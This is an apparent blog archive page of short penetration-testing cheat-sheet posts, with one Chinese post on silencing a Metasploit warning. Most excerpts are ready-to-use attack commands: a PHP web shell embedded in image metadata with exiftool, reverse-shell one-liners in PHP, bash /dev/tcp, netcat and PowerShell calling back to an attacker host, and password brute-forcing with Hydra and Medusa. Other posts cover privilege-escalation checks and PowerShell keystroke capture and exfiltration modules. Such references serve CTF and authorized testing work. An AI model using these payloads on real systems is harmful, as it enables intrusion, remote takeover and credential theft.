Month: April 2020

解决 Metasploit 启动及使用过程中一直出现警告信息的问题

Posted on by 0pr

问题描述 运行 msfconsole，即报如下警告信息： ➜ recon msfconsole /usr/share/metasploit-framework/vendor/bundle/ruby/2.7.0/gems/activerecord-4.2.11.1/lib/active_record/connection_adapters/abstract_adapter.rb:84: warning: deprecated Object#=~ is called on Integer; it always returns nil /usr/share/metasploit-framework/vendor/bundle/ruby/2.7.0/gems/activerecord-4.2.11.1/lib/active_record/connection_adapters/abstract_adapter.rb:84: warning: deprecated Object#=~ is called on Integer; it always returns nil /usr/share/metasploit-framework/vendor/bundle/ruby/2.7.0/gems/activerecord-4.2.11.1/lib/active_record/connection_adapters/abstract_adapter.rb:84: warning: deprecated Object#=~ is called on Integer; it always returns nil 警告信息会在使用过程中一直出现，扰乱阅读。 解决方法 打开 /opt/metasploit/vendor/bundle/ruby/2.7.0/gems/activerecord-4.2.11.1/lib/active_record/connection_adapters/abstract_adapter.rb 文件，找到 84 行，将 if config =~ SIMPLE_INT" 改成 if…

Steganography

Posted on by 0pr

Table of Contens Hide Code in Pictures Hide Code in Pictures exiftool -DocumentName="<h1>TEST<br><?php if(isset(\$_REQUEST['cmd'])){echo '<pre>';\$cmd = (\$_REQUEST['cmd']);system(\$cmd);echo '</pre>';} __halt_compiler();?></h1>" <pic.[jpg|jpeg|png|gig]>

ActiveDirectory

Posted on by 0pr

Table of Contents Enumeration Overall Information Enum4linux PowerView Module Domain Objects DNS Info System Relationship BloodHound-python SharpHound.ps1 GPP Policy Foothold Asrep Roasting Lateral Movement Pass the Password Pass the Hash Dump NTLM Hashes Dump SAM/LSA Token Impersonation DLL Hijacking Dump NTDS Enumeration Overall Information Enum4linux You have nothing, just want a overview of the system…

TTYSpawn

Posted on by 0pr

Table of Contents Bash Python Bash SHELL=/bin/bash script -q /dev/null Python python -c 'import pty;pty.spawn("/bin/bash")'

BruteForcing

Posted on by 0pr

Table of Contents JohnTheRipper Medusa Online Resources Hydra Parator JohnTheRipper zip2john <zipfile> > <outputfile> john <hashfile> –fork=4 –wordlist=<wordlist> Medusa # brute forcing SSH login with usernames and passwords medusa -h <host-ip> -U <user-file> -P <passwd-file> -M ssh <host-ip> Online Resources Hash crack – CrackStation Hydra hydra -l <username> -P <pass-file> http://domain http-post-form "</login/path/>:<login-data>[username=^USER^&password=^PASS^]:<error-response>[Incorrect Username]" Parator…

PrivilegeEscalation

Posted on by 0pr

Table of Contents Linux Find SetUID Files Check User Privileges Interactive Programs with SUDO Privilege RottenPotato Kernel 2.6 LXD LXC Privilege Escalation Priv Escalation Through Sudoers Conf Exploit Suggester Rational Love VNC Linux Find SetUID Files find / -perm -4000 -type f 2>/dev/null Check User Privileges sudo -l -l Interactive Programs with SUDO Privilege sudo…

ReverseShell

Posted on by 0pr

Table of Contents PHP Reverse Shell Bash NetCat Net Cat CheetSheet Bat File PHP Reverse Shell php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");' php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);' /usr/share/webshells/php/php-reverse-shell.php # cmd execution <?php system($_REQUEST['mycmd']) ?> Bash bash -c 'bash -i >& /dev/tcp/<your_ip>/4444 0>&1' NetCat nc <host> <port> If in meterpreter shell: execute -f…

DirectoryFuzzing

Posted on by 0pr

Table of Contents Dirbuster Gobuster Dirsearch Wfuzz Other Useful Tools Dirbuster dirbuster -u -v -u <URL> -e <extensions> -l <wordlist> -r <report-location> Gobuster gobuster dir|dns <URL> -v -t <threads> -w <wordlist> Dirsearch dirsearch.py -u <URL> -e <extensions> -t <threads> -c <cookies> –proxy=<proxy> Wfuzz wfuzz -c -v –hc <status-code> -w <wordlist> <URL>/FUZZ/* Other Useful Tools Tons…

PortScan

Posted on by 0pr

Table of Contents Nmap Masscan Unicorn Scan Nmap nmap -A -T4 -p- -v -oN nmap.txt <host> Masscan masscan -p 1-65535 <host> -e <interface> –rate=<rate> Unicorn Scan us -mT -Iv <host>:<ports[a|]> -r <rate[3000|]> -R <round[3|]>

Powershell

Posted on by 0pr

Table of Contents Reverse Shell One liner PowerSploit Invoke-Shellcode Invoke-WmiMethod Get-Keystrokes Exfiltration/Out-Minidump.ps1 Exfiltration/Get-TimedScreenshot.ps1 Nishang Get-Information.ps1 Get-WLAN-Keys.ps1 StartListener.py Ps_encoder.py Get System Release ID Executing Command as Another User Get User ACL Go into Registry Mode Reverse Shell One liner $client = New-Object System.Net.Sockets.TCPClient("<LHOST>",<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName…